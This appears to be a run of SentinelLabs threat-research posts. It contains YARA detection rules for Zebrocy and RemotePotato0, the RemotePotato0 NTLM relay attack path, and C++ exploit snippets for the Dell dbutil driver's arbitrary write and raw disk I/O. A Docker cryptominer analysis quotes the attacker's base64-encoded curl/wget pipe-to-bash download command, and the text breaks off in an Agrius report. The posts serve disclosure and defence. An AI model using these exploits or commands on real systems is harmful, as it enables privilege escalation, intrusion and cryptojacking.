    hash0 = "ee7cfc55a49b2e9825a393a94b0baad18ef5bfced67531382e572ef8a9ecda4b"
    hash1 = "07b2d21f4ef077ccf16935e44864b96fa039f2e88c73b518930b6048f6baad74"

    $enc_keylogger2 = "5B4241434B53504143455D" ascii wide
    $enc_keylogger3 = "5B5441425D" ascii wide
    $enc_keylogger4 = "5B53484946545D" ascii wide
    $enc_keylogger5 = "5B434F4E54524F4C5D" ascii wide
    $enc_keylogger6 = "5B4553434150455D" ascii wide
    $enc_keylogger7 = "5B454E445D" ascii wide
    $enc_keylogger8 = "5B484F4D455D" ascii wide
    $enc_keylogger9 = "5B4C4546545D" ascii wide
    $enc_keylogger10 = "5B55505D" ascii wide
    $enc_keylogger11 = "5B52494748545D" ascii wide
    $enc_keylogger12 = "5B444F574E5D" ascii wide
    $enc_keylogger13 = "5B434150534C4F434B5D" ascii wide
    $cnc1 = "68747470733A2F2F7777772E786268702E636F6D2F646F6D696E61726772656174617369616E6F6479737365792F77702D636F6E74656E742F706C7567696E732F616B69736D65742F7374796C652E706870" ascii wide
    $cnc2 = "68747470733A2F2F7777772E63346373612E6F72672F696E636C756465732F736F75726365732F66656C696D732E706870" ascii wide

    uint16(0) == 0x5a4d and (any of ($cnc*) or all of ($enc_keylogger*))
rule apt_RU_Delphocy_Maldocs {
    desc = "Delphocy dropper docs"
    author = "JAG-S @ SentinelLabs"
    version = "1.0"
    TLP = "White"
    last_modified = "04.09.2021"
    hash1 = "3b548a851fb889d3cc84243eb8ce9cbf8a857c7d725a24408934c0d8342d5811"
    hash2 = "c213b60a63da80f960e7a7344f478eb1b72cee89fd0145361a088478c51b2c0e"
    hash3 = "d9e7325f266eda94bfa8b8938de7b7957734041a055b49b94af0627bd119c51c"
    hash4 = "1e8261104cbe4e09c19af7910f83e9545fd435483f24f60ec70c3186b98603cc"

    $required1 = "_VBA_PROJECT" ascii wide
    $required2 = "Normal.dotm" ascii wide
    $required3 = "bin.base64" ascii wide
    $required4 = "ADODB.Stream$" ascii wide
    $author1 = "Dinara Tanmurzina" ascii wide
    $author2 = "Hewlett-Packard Company" ascii wide
    $specific = "Caption         =   \"\\wininition.exe\"" ascii wide
    $builder1 = "Begin {C62A69F0-16DC-11CE-9E98-00AA00574A4F} UserForm1" ascii wide
    $builder2 = "{02330CFE-305D-431C-93AC-29735EB37575}{33D6B9D9-9757-485A-89F4-4F27E5959B10}" ascii wide
    $builder3 = "VersionCompatible32=\"393222000\"" ascii wide
    $builder4 = "CMG=\"1517B95BC9F7CDF7CDF3D1F3D1\"" ascii wide
    $builder5 = "DPB=\"ADAF01C301461E461EB9E2471E616F01D06093C59A7C4D30F64A51BDEDDA98EC1590C9B191FF\"" ascii wide
    $builder6 = "GC=\"4547E96B19021A021A02\"" ascii wide

    uint32(0) == 0xE011CFD0 and all of ($required*) and (all of ($author*) or $specific or 5 of ($builder*))

The post A Deep Dive into Zebrocy’s Dropper Docs appeared first on SentinelLabs.

Relaying Potatoes: Another Unexpected Privilege Escalation Vulnerability in Windows RPC Protocol

26 April 2021 at 15:03

By Antonio Cocomazzi and Andrea Pierini

Executive Summary

  • Every Windows system is vulnerable to a particular NTLM relay attack that could allow attackers to escalate privileges from User to Domain Admin.
  • The current status of this vulnerability is “won’t fix”.
  • Enterprise security teams are encouraged to follow the recommendations and mitigations given below.


NTLM relaying [1] is a well known technique that has long been abused by attackers. Despite the continuous “fixes” from 2001 onwards, it is still possible in a MITM scenario, for certain protocols where signing is not enabled, to intercept the NTLM messages and to “relay” the authentication to a target resource in order to elevate privileges. Normally, NTLM relays need user intervention, so you have to trick the victim to authenticate to a resource under your control.

In recent years [2] [3] [4], we conducted research into the so-called “DCOM DCE/RPC Local NTLM Reflection”, in particular when it comes to negotiating locally a SYSTEM token and impersonating it, thus leading to an elevation from a SERVICE account to SYSTEM.

Despite recent fixes, it is still possible under certain conditions to negotiate a highly privileged token and to impersonate it during the unmarshalling process of initializing a DCOM object, identified by particular CLSID, via the IStorage Object trigger [5].

During our earlier research, where we implemented a “fake” Oxid Resolver instructing the DCOM client to connect to a RPC Server under our control, we observed that two interesting NTLM authentications took place:

  1. Oxid Resolution (IObjectExporter::ResolveOxid2 call)
  2. IRemUnknown Interface  (IRemUnknown2::RemRelease call)

We decided to investigate the possibility of relaying these authentications to a different resource on a remote machine such as LDAP, SMB, and HTTP instead of stealing the token which requires the impersonation privileges.

First of all, we needed a “usable” authentication, possibly coming from highly privileged users like “Domain Admins” and so on. Some particular CLSID, belonging to application identifiers (AppId) which run under the context of the “Interactive User” can come to the rescue, because they “impersonate” the logged on user in the first session when instantiated in session 0. This is really cool because no victim user interaction is required!

The basic idea was that a standard user could trigger the privileged authentication without the victim’s interaction and relay it to a privileged service on another machine, e.g. ldap server, in order to elevate the user privileges.

In order to understand if there was a potential exploitation path, we needed to answer the following questions:

  • Does the RPC client sign (and check) the NTLM messages?
  • Could the RPC authentication be relayed in this particular cross protocol scenario?

In this post, we will go through the process of how we discovered answers to those questions and, step-by-step, show how we achieved an exploitation path. We went through a lengthy process of responsible disclosure with Microsoft before publishing. Although Microsoft considers the vulnerability an important privilege escalation, it has been classified as “Won’t Fix”.

The NTLM Auth Messages

Our idea was to use one of two authentications as described above. The first one (IObjectExporter::ResolveOxid2) seemed unpromising because the NTLM “Sign flag” was set and we were not sure if the upper layer protocols would consider it or not.

The second one (IRemUnknown2::RemRelease) met our expectations, and the flag was not set (more on this later…):

Now that we knew which authentication to use, the next step was to trigger and intercept it.

The RPC Trigger

It all started from this article [6] by James Forshaw, in which he discovered a way to abuse the the DCOM activation service by unmarshalling an IStorage object and reflecting the NTLM back to a local RPC TCP endpoint to achieve a local privilege escalation. While this vulnerability has been patched, the DCOM activation service was (and still is) a working trigger for RPC authentications.

This is still the trigger of all the “*potato” exploits in order to escalate privileges by leveraging the impersonation privileges.

Nowadays, those exploits focus on stealing a token from a privileged service (usually those running as SYSTEM are of interest), but we know that some CLSID (a way to identify COM class objects) impersonate the user connected to the first Session outside Session 0. [7]

If we have a shell in Session 0, even as a low privileged user, and trigger these particular CLSIDs, we will obtain an NTLM authentication from the user who is interactively connected (if more than one user is interactively connected, we will get that of the user with lowest session id).

So our hypothetical scenario could be the following:

  1. A compromised account with a shell in Session 0. This could be:
    • A low privileged user who can connect to the machine via WinRM-PSSession [8] or ssh [9]
    • A low privileged user who has been granted “Logon as a batch job” rights so that he can create and then run scheduled tasks with the property “Run the task whether the user is logged in or not” from an interactive session on this machine (local or via RDP)
    • A service account even running under a Hardened Virtual Account (e.g., without impersonation privileges [10]).
  2. A highly privileged user logged on to the same machine (local or via RDP)

With that in mind, we focused on analyzing all the “vulnerable” CLSID that we could use to trigger this authentication. These are the ones we found on a Windows Server 2019:

  • BrowserBroker Class
  • AuthBrokerUI
  • Easconsent.dll
  • Authentication UI CredUI Out of Proc Helper for Non-AppContainer Clients
  • UserInfoDialog
  • CLSID_LockScreenContentionFlyout
  • Picker Host
  • IsolatedMessageDialogFactory
  • SPPUIObjectInteractive Class
  • CastServerInteractiveUser

Finding an Exploitation Path

Having found a perfect RPC trigger, we started to prepare all the pieces of our possible exploitation scenario.

First, we wanted to understand if we could relay this authentication in a cross protocol scenario, so we wrote a cpp POC that performs a MITM between an RPC authentication and relay over an HTTP server that requires authentication, and guess what? It worked!

We were able to browse protected files on the webserver on behalf of the user who authenticated to our RPC server.

This was the workflow implemented in our MITM:

Once we identified that our RPC authentication could be relayed in a cross protocol scenario, we put together the final exploitation path:

  1. An attacker has a shell in Session 0 on the “victim” machine with a low privileged account;
  2. On this machine a privileged user, like a Domain Admin, is logged on interactively;
  3. The attacker triggers the DCOM activation service by unmarshalling an IStorage object, calling CoGetInstanceFromIstorage with one of the CLSIDs that impersonate the user logged on interactively and setting the IP of the attacker machine for Oxid resolution requests;
  4. The attacker implements a MITM by just listening on port 135 on his machine, which will receive the IObjectExporter::ResolveOxid2 authenticated call and be forwarded to the “fake” Oxid resolver. Even if this call is authenticated, the NTLM “Sign flag” is set so it will be skipped;
  5. The fake Oxid resolver returns a string binding for an RPC endpoint under the attacker’s control;
  6. The victim machine/user will make an authenticated call IRemUnknown2::RemRelease contacting the RPC server (without the Sign flag set);
  7. Authentication will be relayed to a privileged resource such as LDAP, SMB, HTTP or other.Here we had two paths that we could have followed:
    1. Implement in ntlmrelayx a “minimalistic” RPC server with the impacket libs [11].
    2. Encapsulate and forward the authentication in a protocol already implemented and supported in ntlmrelayx[12], e.g. HTTP.
  8. We chose the second path and implemented the whole logic of the MITM and HTTP encapsulator in a POC (RemotePotato0). We then forwarded everything to ntlmrelayx and let it do the job by targeting the LDAP server running on the Domain Controller and adding a new domain admin (or elevate user privileges).

The following schema shows the entire attack flow:

Dealing with Signing Restrictions

Now that exploitation was successful, we tried to understand why the “Sign” flag was not set in IRemUnknown2 calls.

After several tests, we discovered that the poisoned response we give back from our fake Oxid Resolver could influence the setting of the “Sign” flag. One of the fields returned by the Oxid resolver is the security bindings which tell the client which security provider is to be used with the authentication (AuthnSvc).

MSRPC (Microsoft implementation of DCE/RPC protocol) supports a variety of “Security Providers”, including NTLM.

This is a list of the available security providers:

If the provider is set to NTLM (RPC_C_AUTHN_WINNT), it won’t enforce the signing; if set to SPNEGO (RPC_C_AUTHN_GSS_NEGOTIATE), it will. And this is what we did in order to use the correct provider in our poisoned response code:


We also know that in order to perform these types of attacks, the “Authentication Level” should be RPC_AUTHN_LEVEL_CONNECT (0x2) because this defines an authentication mechanism without enforcing encryption/signing. We can define this kind of RPC authentication as “weak” and potentially vulnerable to relay attacks.

In our ResolveOxid2, we can control this behavior by setting the desired authentication level in pAuthnHint parameter, which returns the minimum accepted authentication level of the object exporter.

error_status_t ResolveOxid2
    handle_t        hRpc,
    OXID* pOxid, 
    unsigned short  cRequestedProtseqs, 
    unsigned short  arRequestedProtseqs[],
    DUALSTRINGARRAY** ppdsaOxidBindings,
    IPID* pipidRemUnknown, 
    DWORD* pAuthnHint, 
    COMVERSION* pComVersion

And the client will make a call to the IRemUnkown2 interface at least with this level of authentication.

Note: if we set a higher value for the authentication level in the pAuthnHint parameter, for example RPC_C_AUTHN_LEVEL_PKT (0x4), the “Sign” flag will be set again!

Dealing with MIC Restrictions

We also performed a relaying test with SMB protocol on servers where signing was not enabled, and of course it worked, too.

We only ran into trouble with one particular CLSID: {c58ca859-80bc-48df-8f06-ffa94a405bff}, when trying to relay because of the “BAD IMPERSONATION LEVEL”.

In this case, the NTLM “Identify” flag was set in the IRemUnknown2 call (which means that the server should not impersonate the client) and was taken into consideration by SMBv2 protocol.

But what if we alter this flag during our MITM operations? We tried to unset the flag in the forwarded NTLM type 1 message:

and reset it in the NTLM type 2 response message:

A quick test demonstrated that it worked!

Some days after, Microsoft released the November 2020 security patches and magically it stopped working. The SMB handshakes always ended up with a generic “INVALID PARAMETER” which was triggered by an invalid NTLM authentication.

After some testing, we discovered that the root cause was the Message Integrity Check (MIC). It  seemed to be always checked, even if the NTLM “Sign” flag was not set [13], thus altering the NTLM messages led to a signature mismatch.

The Proof Of Concept

We have released a POC of the RemotePotato0 attack here:


Below you can see a quick demonstration:

Mitigations & Detection

Given that Microsoft will not release an official patch, some mitigation by hardening your servers should be undertaken.

For HTTP(S), you should remove all non-TLS-protected HTTP bindings (prefer SSL everywhere, particularly where NTLM is used) and configure Channel Binding Tokens validation by setting the tokenChecking attribute to a minimum of Allow (if not Require) as documented here.

For LDAP, you should set the Domain controller: LDAP server signing requirements Group Policy to Require signature for non-LDAPS LDAP connections as documented here.

In addition, you should also set the Domain controller: LDAP server channel binding token requirements Group Policy to a minimum of When Supported (if not Always) as documented here.

For SMB, you should configure SMB Signing by setting the Group Policy Digitally sign server communication (always) as documented here.

We have also released a YARA rule to detect RemotePotato0:

rule SentinelOne_RemotePotato0_privesc {
        author = "SentinelOne"    
        description = "Detects RemotePotato0 binary"
        reference = "https://labs.sentinelone.com/relaying-potatoes-dce-rpc-ntlm-relay-eop"   
    	$import1 = "CoGetInstanceFromIStorage"
        $istorage_clsid = "{00000306-0000-0000-c000-000000000046}" nocase wide ascii    
        $meow_header = { 4d 45 4f 57 }
        $clsid1 = "{11111111-2222-3333-4444-555555555555}" nocase wide ascii
        $clsid2 = "{5167B42F-C111-47A1-ACC4-8EABE61B0B54}" nocase wide ascii
         (uint16(0) == 0x5A4D) and $import1 and $istorage_clsid and $meow_header and 1 of ($clsid*)


We successfully demonstrated how it was possible to trigger an authenticated RPC/DCOM call and relay the NTLM authentication to other protocols. This is different from other known techniques such as CVE-2020-1113 [14] and CVE-2021-1678 [15], where relaying happens between a generic “client” protocol vs. an RPC server. In this case, we had an RPC client whose authentication was relayed to other “server” protocols and without “victim” interaction. Therefore, we hope that MS reconsider their decision not to fix this serious vulnerability.

Disclosure Timeline

11/30/2020 – Submitted vulnerability to MSRC case 62293
12/29/2020 – Microsoft confirmed vulnerability as Important - Elevation of Privilege
1/7/2021 – We informed Microsoft that full details about this issue would have been published after 90 days since our first notification
1/7/2021 – Microsoft asked to keep this issue confidential until 13th of April 2021 (135 days after our first notification) and that a fix was scheduled for that day
2/10/2021 – We agreed to keep this issue confidential as per Microsoft’s request
Mar-Apr/2021 – Sent multiple notifications in order to understand if the fix would be released on the agreed date
4/6/2021 – Microsoft informed us that a security fix would not be released on the 13th of April. No commitment for an exact date for a fix
4/13/2021  – Microsoft informed us that, after an extensive review, they determined that “Servers must defend themselves against NTLM relay attacks” (side note: setting the sign flag in NTLM provider as well as SPNEGO would have inhibited this exploit…)
4/26/2021 – Disclosing this issue


  1. https://en.hackndo.com/ntlm-relay/
  2. http://ohpe.it/juicy-potato/
  3. https://decoder.cloud/2019/12/06/we-thought-they-were-potatoes-but-they-were-beans/
  4. https://decoder.cloud/2020/05/11/no-more-juicypotato-old-story-welcome-roguepotato/
  5. https://github.com/decoder-it/juicy_2
  6. https://bugs.chromium.org/p/project-zero/issues/detail?id=325
  7. https://github.com/ohpe/juicy-potato/tree/master/CLSID
  8. https://docs.microsoft.com/en-us/powershell/scripting/learn/remoting/running-remote-commands?view=powershell-5.1
  9. https://docs.microsoft.com/en-us/windows-server/administration/openssh/openssh_install_firstuse
  10. https://decoder.cloud/2020/11/05/hands-off-my-service-account/
  11. https://github.com/SecureAuthCorp/impacket
  12. https://github.com/SecureAuthCorp/impacket/blob/master/examples/ntlmrelayx.py
  13. https://twitter.com/decoder_it/status/1347976999567032321
  14. https://blog.compass-security.com/2020/05/relaying-ntlm-authentication-over-rpc/
  15. https://www.crowdstrike.com/blog/cve-2021-1678-printer-spooler-relay-security-advisory/

The post Relaying Potatoes: Another Unexpected Privilege Escalation Vulnerability in Windows RPC Protocol appeared first on SentinelLabs.

CVE-2021-21551- Hundreds Of Millions Of Dell Computers At Risk Due to Multiple BIOS Driver Privilege Escalation Flaws

4 May 2021 at 12:55

Executive Summary

  • SentinelLabs has discovered five high severity flaws in Dell’s firmware update driver impacting Dell desktops, laptops, notebooks and tablets.
  • Attackers may exploit these vulnerabilities to locally escalate to kernel-mode privileges.
  • Since 2009, Dell has released hundreds of millions of Windows devices worldwide which contain the vulnerable driver.
  • SentinelLabs findings were proactively reported to Dell on Dec 1, 2020 and are tracked as CVE-2021-21551, marked with CVSS Score 8.8.
  • Dell has released a security update to its customers to address this vulnerability.
  • At this time, SentinelOne has not discovered evidence of in-the-wild abuse.


Several months ago, I started investigating the security posture of the firmware update driver version 2.3 (dbutil_2_3.sys) module, which seems to have been in use since at least 2009. Today, the firmware update driver component, which is responsible for Dell Firmware Updates via the Dell Bios Utility, comes pre-installed on most Dell machines running Windows and freshly installed Windows machines that have been updated. Hundreds of millions of Dell devices have updates pushed on a regular basis, for both consumer and enterprise systems.

The driver came to my attention thanks to Process Hacker, which has a great feature that pops up a notification message every time a service gets created or deleted:

This led to the discovery of five high severity bugs that have remained undisclosed for 12 years. These multiple high severity vulnerabilities in Dell software could allow attackers to escalate privileges from a non-administrator user to kernel mode privileges. Over the years, Dell has released BIOS update utilities which contain the vulnerable driver for hundreds of millions of computers (including desktops, laptops, notebooks, and tablets) worldwide.

Dell has assigned one CVE to cover all the flaws in the firmware update driver, but this single CVE can be broken down to the following five separate flaws:

  • CVE-2021-21551: Local Elevation Of Privileges #1 – Memory corruption
  • CVE-2021-21551: Local Elevation Of Privileges #2 – Memory corruption
  • CVE-2021-21551: Local Elevation Of Privileges #3 – Lack of input validation
  • CVE-2021-21551: Local Elevation Of Privileges #4 – Lack of input validation
  • CVE-2021-21551: Denial Of Service – Code logic issue

In today’s post, I will describe some of the general problems with this driver. However, to enable Dell customers the opportunity to remediate this vulnerability, we are withholding sharing our Proof of Concept until June 1, 2021. That proof of concept will demonstrate the first local EOP which arises out of a memory corruption issue.

Technical Details

The first and most immediate problem with the firmware update driver arises out of the fact that it accepts IOCTL (Input/Output Control) requests without any ACL requirements. That means that it can be invoked by a non-privileged user:

2: kd> !devobj ffffae077fb47820
Device object (ffffae077fb47820) is for:
 DBUtil_2_3 \Driver\dbutil DriverObject ffffae0782dbce30
Current Irp 00000000 RefCount 1 Type 00009b0c Flags 00000048
SecurityDescriptor ffffd70bdb4f4160 DevExt ffffae077fb47970 DevObjExt ffffae077fb47a10
ExtensionFlags (0x00000800)  DOE_DEFAULT_SD_PRESENT
Characteristics (0000000000)
Device queue is not busy.
2: kd> !sd ffffd70bdb4f4160 0x1
->Dacl    : ->Ace[0]: ->AceType: ACCESS_ALLOWED_ACE_TYPE
->Dacl    : ->Ace[0]: ->AceFlags: 0x0
->Dacl    : ->Ace[0]: ->AceSize: 0x14
->Dacl    : ->Ace[0]: ->Mask : 0x001201bf
->Dacl    : ->Ace[0]: ->SID: S-1-1-0 (Well Known Group: localhost\Everyone)

Allowing any process to communicate with your driver is often a bad practice since drivers operate with the highest of privileges; thus, some IOCTL functions can be abused “by design”.

The firmware update driver exposes many functions via IRP_MJ_DEVICE_CONTROL. The most obvious bug to exploit gives you an extremely powerful primitive. Via IOCTL 0x9B0C1EC8, it is possible to completely control the arguments passed to memmove, thus, allowing an arbitrary read/write vulnerability:

A classic exploitation technique for this vulnerability would be to overwrite the values of Present and Enabled in the Token privilege member inside the EPROCESS of the process whose privileges we want to escalate:

   +0x000 Present          : Uint8B
   +0x008 Enabled          : Uint8B
   +0x010 EnabledByDefault : Uint8B

This can be triggered and exploited quite simply:

struct ioctl_input_params {
	uint64_t padding1;
	uint64_t address;
	uint64_t padding2;
	uint64_t value_to_write;

static constexpr uint64_t MASK_TO_WRITE = MAXULONGLONG;

DWORD bytesReturned = 0;

ioctl_input_params privilege_present_params{ 0 };
privilege_present_params.address = presentAddress;
privilege_present_params.value_to_write = MASK_TO_WRITE;

DeviceIoControl(hDevice, EXPLOITABLE_RW_CONTROL_CODE, &privilege_present_params,
	sizeof(privilege_present_params), &privilege_present_params, sizeof(privilege_present_params), &bytesReturned, NULL);

ioctl_input_params privilege_enabled_params{ 0 };
privilege_enabled_params.address = enabledAddress;
privilege_enabled_params.value_to_write = MASK_TO_WRITE;

DeviceIoControl(hDevice, EXPLOITABLE_RW_CONTROL_CODE, &privilege_enabled_params,
	sizeof(privilege_enabled_params), &privilege_enabled_params, sizeof(privilege_enabled_params), &bytesReturned, NULL);

Another interesting vulnerability in this driver is one that makes it possible to run I/O (IN/OUT) instructions in kernel mode with arbitrary operands (LPE #3 and LPE #4). This is less trivial to exploit and might require using various creative techniques to achieve elevation of privileges.

Since IOPL (I/O privilege level) equals to CPL (current privilege level), it is obviously possible to interact with peripheral devices such as the HDD and GPU to either read/write directly to the disk or invoke DMA operations. For example, we could communicate with ATA port IO for directly writing to the disk, then overwrite a binary that is loaded by a privileged process.

The following code illustrates direct read/write using ATA port IO and shows how to invoke those IOCTLs (IN/OUT wrappers are abstracted):

void port_byte_out(unsigned short port, unsigned char payload) {
	unsigned char data[16] = { 0 };
	*((unsigned long *)((unsigned char *)data)) = port;
	*((unsigned char *)((unsigned char *)data + 4)) = payload;
	bResult = DeviceIoControl(hDevice, IOCTL_BYTE_OUT, data, sizeof(data), data, sizeof(data), &junk, NULL);
	if (!bResult) {
		printf("error in port_byte_out: %x\r\n", GetLastError());

unsigned char port_byte_in(unsigned short port) {
	unsigned char data[16] = { 0 };
	*((unsigned long *)((unsigned char *)data)) = port;
	bResult = DeviceIoControl(hDevice, IOCTL_BYTE_IN, data, sizeof(data), data, sizeof(data), &junk, NULL);
	if (!bResult) {
		printf("error in port_byte_in: %x\r\n", GetLastError());
	return data[0];

Writing directly to the HDD without creating an IRP for that disk write basically bypasses all security mechanisms in the operating system and allows an attacker to write to any sector on the disk.

For example, here is code from the LearnOS repository that takes advantage of IN/OUT instructions for direct HDD writing:

void write_sectors_ATA_PIO(uint32_t LBA, uint8_t sector_count, uint32_t* bytes) {
	port_byte_out(0x1F6,0xE0 | ((LBA >>24) & 0xF));
	port_byte_out(0x1F3, (uint8_t) LBA);
	port_byte_out(0x1F4, (uint8_t)(LBA >> 8));
	port_byte_out(0x1F5, (uint8_t)(LBA >> 16)); 
	port_byte_out(0x1F7,0x30); //Send the write command

	for (int j =0;j<sector_count;j++) {
		for(int i=0;i<256;i++) {
			port_long_out(0x1F0, bytes[i]);

Interestingly, unrelated to the IOCTL handler bugs, the driver file itself is located in C:\Windows\Temp, which is also a bug itself and opens the door to other issues. The classic way to exploit this would be to transform any BYOVD (Bring Your Own Vulnerable Driver) into an Elevation of Privileges vulnerability since loading a (vulnerable) driver means you require administrator privileges, which essentially eliminates the need for a vulnerability. Thus, using this side noted vulnerability virtually means you can take any BYOVD to an Elevation of Privileges.

Proof of Concept

Here you can see a proof-of-concept to demonstrate the first LPE due to memory corruption:

Click to play


The high severity flaws could allow any user on the computer, even without privileges, to escalate their privileges and run code in kernel mode. Among the obvious abuses of such vulnerabilities are that they could be used to bypass security products.

An attacker with access to an organization’s network may also gain access to execute code on unpatched Dell systems and use this vulnerability to gain local elevation of privilege. Attackers can then leverage other techniques to pivot to the broader network, like lateral movement.


This vulnerability and its remedies are described in Dell Security Advisory DSA-2021-088. We recommend Dell customers, both enterprise and consumer, to apply the patch as soon as possible.

While Dell is releasing a patch (a fixed driver), note that the certificate was not yet revoked (at the time of writing). This is not considered best practice since the vulnerable driver can still be used in a BYOVD attack as mentioned earlier. Please see the Dell Security Advisory for complete remediation details.


These high severity vulnerabilities, which have been present in Dell devices since 2009, affect hundreds of millions of devices and millions of users worldwide. Similar to a previous vulnerability I disclosed that hid for 12 years, the impact this could have on users and enterprises that fail to patch is far reaching and significant.

While we haven’t seen any indicators that these vulnerabilities have been exploited in the wild up till now, with hundreds of million of enterprises and users currently vulnerable, it is inevitable that attackers will seek out those that do not take the appropriate action. Our reason for publishing this research is to not only help our customers but also the community to understand the risk and to take action.

We would like to thank Dell for their approach to our disclosure and for remediating the vulnerabilities.

Disclosure Timeline

1, Dec, 2020 – Initial report
2, Dec, 2020 – Dell replied with ticket numbers
8, Dec, 2020 – Dell requested more information
9, Dec, 2020 – Dell request additional information
22, Dec, 2020 – Dell replied that a fix should be available in mid April
12, Jan, 2021 – Dell replied that some of the vulnerabilities will not be fixed since the product is EOL
27, Jan, 2021 – Dell requested more time
16, Mar, 2021 – Dell updated that they are cooperating with Microsoft and a fix should be available by the end of April
29, Mar, 2021 – Dell requested more time, confirmed that an update should be available by the end of April
22, Apr, 2021 – Dell initiated a zoom conference call to discuss the blog post release
04, May, 2021 – Initial research released to the public

The post CVE-2021-21551- Hundreds Of Millions Of Dell Computers At Risk Due to Multiple BIOS Driver Privilege Escalation Flaws appeared first on SentinelLabs.

Caught in the Cloud | How a Monero Cryptominer Exploits Docker Containers

20 May 2021 at 16:08

Crypto currencies have become a focal point for cybercriminals, but by far the most popular cryptocurrency to mine among cybercriminals over the last couple of years has been Monero virtual currency (XMR). Over the last year, Monero is up 550% in value and cybercriminals are looking for long lasting Monero mining campaigns to gain huge profits.

Cryptomining malware flies under the radar because many of these unwanted programs do not do anything obviously malicious to infected systems. However, the mining costs are absorbed by the unknowing device owner while cybercriminals reap the rewards.

SentinelLabs recently detected a cryptocurrency mining campaign affecting Docker Linux systems. The Docker software platform has witnessed huge growth among enterprises due to its ability to push out applications in small, resource-frugal containers. This, combined with the fact that many security solutions lack visibility into container images, makes them ideal targets for low-risk, finance-driven campaigns.

The campaign seen by SentinelLabs doesn’t use notable exploit components but rather uses a few simple obfuscation methods. The actors were clearly not expecting to find advanced endpoint protections on Docker containers. As we describe below, the miner calls a few bash scripts and then uses steganography to evade legacy AVs or casual inspection.

Technical Analysis

Our Vigilance team detected a Threat Actor (TA) who initially gained access to a Docker container. The initial sequence began with the threat actor executing a script.

sh -c echo 'aHR0cHM6Ly9pZGVvbmUuY29tL3BsYWluL2JIb0wyVwo='|base64 -d|(xargs curl -fsSL || xargs wget -q -O)|bash

This downloads a shell script from hxxps//ideone[.]com/plain/bHoL2W.

The second-stage downloaded from this URL is another simple shell script.

a=$(base64 -d 

The a variable initially decodes the base64 formatted string aHR0cHM6Ly9pZGVvbmUuY29tL3BsYWluL0diN0JkMgo, which converts to https://ideone[.]com/plain/Gb7Bd2. The decoded URL is then passed to the curl command, which uses -f to fail silently so that there is no error output if there is a server error, -sS to suppress the progress meter but still report an error if the entire command fails, and -L to ensure that redirects are followed. If the command fails using curl, the script switches to wget, a similar command-line utility for downloading files from the web. The -q switch tells wget to operate quietly so no output is sent and -O- to output the fetched document to stdout. The output, whether from curl or wget, is then piped to bash for immediate execution.

That output is a shell script with 174 lines of code. In the following section we will analyze the shell script.

From Shells to Mining

The first 16 lines of the script are plain text script commands, but on lines 17-19 there are patterns of base64 encoding. In line 17 it’s the same base64 encoded string as described in the previous section where the TA initially executed the script. Repeating this command tells me that the TA’s experience in writing malicious scripts is in the beginning stages of this TA’s journey, there are more elegant ways to do this.

In lines 18 and 19, the TA uses a clever trick to bypass detections by downloading a JPEG file. Line 18’s base64 decodes to https://i.ibb[.]co/6PdZ0NT/he.jpg and Line 19’s base64 decodes to https://i.ibb[.]co/phwmnCb/he32.jpg.

The first clue something was unusual was the size of the JPEG, which is 6MB. The first thing is to analyze the jpg by loading it in Cerbero suite and confirm my theory that steganography is being used. Viewing the file contents, we can see that the JPEG file uses a JFIF header identifier, but since I know this malware is intended to run on a Linux system I’m going to search for bytes 454c46 (the ELF magic number) that mark where an ELF binary begins.

Turning back to the shell script, let’s examine how the threat actor extracts and uses the ELF binary found in the image.

We can see that the TA uses the dd command-line utility, whose primary purpose is to convert and copy files. It copies the original JPEG file then outputs the file but skips the JPEG blocks on output with skip=14497 and sets the output block size to Bytes bs=1.

The if statement checks ${ARCH}x = "x86_64x" then looks for ${ARCH}x = "i686x", which uses he_32 and finally runs the command. The next line in the code makes it clear that we are dealing with XMRig.

To confirm, I ran the command

dd if=he_save_jpg of=he_save skip=14497 bs=1

and then loaded the he_save into Ghidra. This showed that the ELF binary extracted from the image was XMRig 6.6.2, built on December 17 2020: one month before the shell scripts appeared in the wild.


The incidence of cryptominers in the enterprise has soared over the last few years as attackers seek low-risk returns from poorly-protected endpoints and cloud container instances. Cryptocurrency mining malware hinders system performance, increases the compute power cost to businesses, and in some cases can be a precursor of further infections.

Docker container protection is critical in fighting cryptomining due to the poor visibility in running container services. SentinelOne XDR detects the above malicious program and many other cryptominer variants on cloud workloads as well as traditional endpoints.

Indicators of Compromise




The post Caught in the Cloud | How a Monero Cryptominer Exploits Docker Containers appeared first on SentinelLabs.

From Wiper to Ransomware | The Evolution of Agrius

25 May 2021 at 12:16

Executive Summary

  • A new threat actor SentinelLabs tracks as Agrius was observed operating in Israel starting in 2020.
  • Initially engaged in espionage activity, Agrius deployed a set of destructive wiper attacks against Israeli targets, masquerading the activity as ransomware attacks.
  • The attacks were carried out using DEADWOOD (aka Detbosit), a wiper with unconfirmed links to an Iranian threat group.
  • Agrius actors also dropped a novel wiper named ‘Apostle’ and a custom .NET backdoor called ‘IPsec Helper’.
  • Later intrusions carried out by Agrius revealed they kept maintaining and improving Apostle, turning it into a fully functional ransomware.

Agrius Overview

A new threat actor SentinelLabs track as Agrius was observed operating in Israel beginning in 2020. An analysis of what at first sight appeared to be a ransomware attack revealed new variants of wipers that were deployed in a set of destructive attacks against Israeli targets. The operators behind the attacks intentionally masked their activity as ransomware attacks.

One of the wipers used in the attack, dubbed ‘Apostle’, was later turned into a fully functional ransomware, replacing its wiper functionalities. The message inside it suggests it was used to target a critical, nation-owned facility in the United Arab Emirates. The similarity to its wiper version, as well as the nature of the target in the context of regional disputes, leads us to believe that the operators behind it are utilizing ransomware for its disruptive capabilities.

The usage of ransomware as a disruptive tool is usually hard to prove, as it is difficult to determine a threat actor’s intentions. Analysis of the Apostle malware provides a rare insight into such attacks, drawing a clear line between what began as a wiper malware to a fully operational ransomware.

Based on technical analysis of the tools and attack infrastructure, we assess with medium confidence that the attacks were carried out by a threat group affiliated with Iran. While some links to known Iranian actors were observed, the set of TTPs and tools appear to be unique to this set of activities. SentinelLabs tracks this threat actor as Agrius.

Agrius Attack Life Cycle

The Agrius threat group utilizes VPN services (primarily ProtonVPN) for anonymization when accessing the public facing applications of its targets. Upon successful exploitation, the threat actor deploys webshells or simply accesses the target by using the target organization’s VPN solution. The webshells Agrius deploys are mostly variations of ASPXSpy.

Agrius uses those webshells to tunnel RDP traffic in order to leverage compromised accounts to move laterally. During this phase, the attackers use a variety of publicly available offensive security tools for credential harvesting and lateral movement.

A summary of Agrius attack life cycle

On interesting hosts, the threat actor deploys its own custom malware – ‘IPsec Helper’. This backdoor is written in .NET and appears exclusive to Agrius. The malware registers itself as a service to achieve persistence. It can be used to exfiltrate data or deploy additional malware.

